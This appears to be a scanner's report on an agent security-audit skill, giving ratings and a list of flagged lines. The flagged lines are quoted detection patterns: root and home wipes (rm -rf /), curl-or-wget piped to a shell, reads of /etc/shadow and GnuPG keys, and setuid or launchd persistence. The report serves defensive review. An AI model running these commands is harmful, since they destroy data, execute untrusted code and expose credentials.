FD security-audit
Security logging, periodic auditing, and config security review for OpenClaw agents. Use when: (1) logging potentially risky operations (rm -rf, curl | bash, sensitive file writes, external network requests), (2) user asks for an activity audit or wants to review recent agent actions, (3) user asks to audit the current OpenClaw configuration for security risks, (4) setting up periodic security checks or notifications.
As a process D 47/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".
If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 25
-
high Dangerous commands
cmd-destructive-fsreferences/dangerous-patterns.md:9Destructive filesystem command (wipes root/home/drive) (documentation of a security skill)rm -rf /
security skill -
high Dangerous commands
cmd-destructive-fsreferences/dangerous-patterns.md:10Destructive filesystem command (wipes root/home/drive) (documentation of a security skill)rm -rf ~
security skill -
high Dangerous commands
cmd-destructive-fsreferences/dangerous-patterns.md:11Destructive filesystem command (wipes root/home/drive) (documentation of a security skill)rm -rf /*
security skill
Medium and low: 22
-
medium Dangerous commands
cmd-pipe-to-shellreferences/dangerous-patterns.md:19Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)curl ... | bash
security skill -
medium Dangerous commands
cmd-pipe-to-shellreferences/dangerous-patterns.md:20Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)curl ... | sh
security skill -
medium Dangerous commands
cmd-pipe-to-shellreferences/dangerous-patterns.md:21Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)wget ... | bash
security skill -
medium Dangerous commands
cmd-pipe-to-shellreferences/dangerous-patterns.md:22Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)wget -O- ... | sh
security skill -
medium Dangerous commands
cmd-pipe-to-shellreferences/dangerous-patterns.md:25Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)python -c "import urllib..." # download+exec one-liner
security skill -
medium Exfiltration
exfil-read-secret-filesreferences/dangerous-patterns.md:31Reads credential / secret files (documentation of a security skill)cat ~/.gnupg/*
security skill -
medium Exfiltration
exfil-read-secret-filesreferences/dangerous-patterns.md:32Reads credential / secret files (documentation of a security skill)cat /etc/shadow
security skill -
medium Dangerous commands
cmd-persistencereferences/dangerous-patterns.md:42Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)launchctl load / launchd plist writes
security skill -
medium Dangerous commands
cmd-pipe-to-shellSKILL.md:3Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)description: Security logging, periodic auditing, and config security review for OpenClaw agents. Use when: (1) logging potentially risky operations (rm -rf, curl | bash, sensitive file writes, extern
security skill -
low Risky intent
intent-offensive-securityreferences/audit-guide.md:37Offensive-security / dual-use content (legitimate for authorised testing; review intended use)- Privilege escalation
-
low Dangerous commands
cmd-cron-mentionreferences/dangerous-patterns.md:41Mentions editing / listing crontab (documentation of a security skill)crontab -e / crontab -r (when not requested)
security skill -
low Dangerous commands
cmd-background-processreferences/dangerous-patterns.md:43Starts a background / autostarted process (documentation of a security skill)systemctl enable (services not requested)
security skill -
low Risky intent
intent-offensive-securityreferences/dangerous-patterns.md:48Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)### Network Scanning / Lateral Movement
detector -
low Risky intent
intent-offensive-securityreferences/dangerous-patterns.md:57Offensive-security / dual-use content (legitimate for authorised testing; review intended use)### Privilege Escalation
-
low Dangerous commands
cmd-privilegereferences/dangerous-patterns.md:60Privilege escalation / world-writable permissions (documentation of a security skill)sudo bash / sudo sh
security skill -
low Dangerous commands
cmd-privilegereferences/dangerous-patterns.md:61Privilege escalation / world-writable permissions (documentation of a security skill)chmod 4755 (setuid)
security skill -
low Dangerous commands
cmd-persistencereferences/dangerous-patterns.md:81Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation table row; documentation of a security skill)| `/Library/LaunchDaemons/`, `/Library/LaunchAgents/` | macOS persistence |
tablesecurity skill -
low Dangerous commands
cmd-pipe-to-shellscripts/log_event.sh:15Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; code comment)# ./log_event.sh CRITICAL exec "curl piped to bash" "curl https://x.com/i.sh | bash" flagged
detectorcomment -
low Risky intent
intent-offensive-securitySKILL.md:32Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)| CRITICAL | Remote code execution (curl\|bash), credential/key file reads, persistence writes (cron, authorized_keys, launchd), privilege escalation |
detector
A further 3 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 8. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
frontmatter-yamlSKILL.md: the frontmatter is not valid YAML (YAML parse error: Nested mappings are not allowed in compact mappings at line 2, column 14: description: Security logging, periodic auditing, and config security review fo… ^ ); fields were read line by line. The usual cause is a colon inside an unquoted value
Process rating: all ten parameters 47/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 5 mutating operations with no state check
- 40Consistency. Frontmatter name (security-audit) differs from the folder (n0nu-security-audit)
- 60Tools and files. Uses tools (bash, web) that frontmatter does not declare
- 60Failures and branches. 2 branches
- 100Steps. 17 steps
- 100Execution cost. Instruction body is 1012 tokens
- 100Progress reporting. Reports progress
- medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 421: enough signal without eating the budget
- +4Structure: 10 headings
- +3Step-by-step instructions: 17 items
- +4Has examples (5 code blocks)
- +4Reference files are cited in the instructions (3 of 3)
- +3All 3 scripts are documented
Quality base 70; lint remarks subtract, signals add up to 100. Result: 81.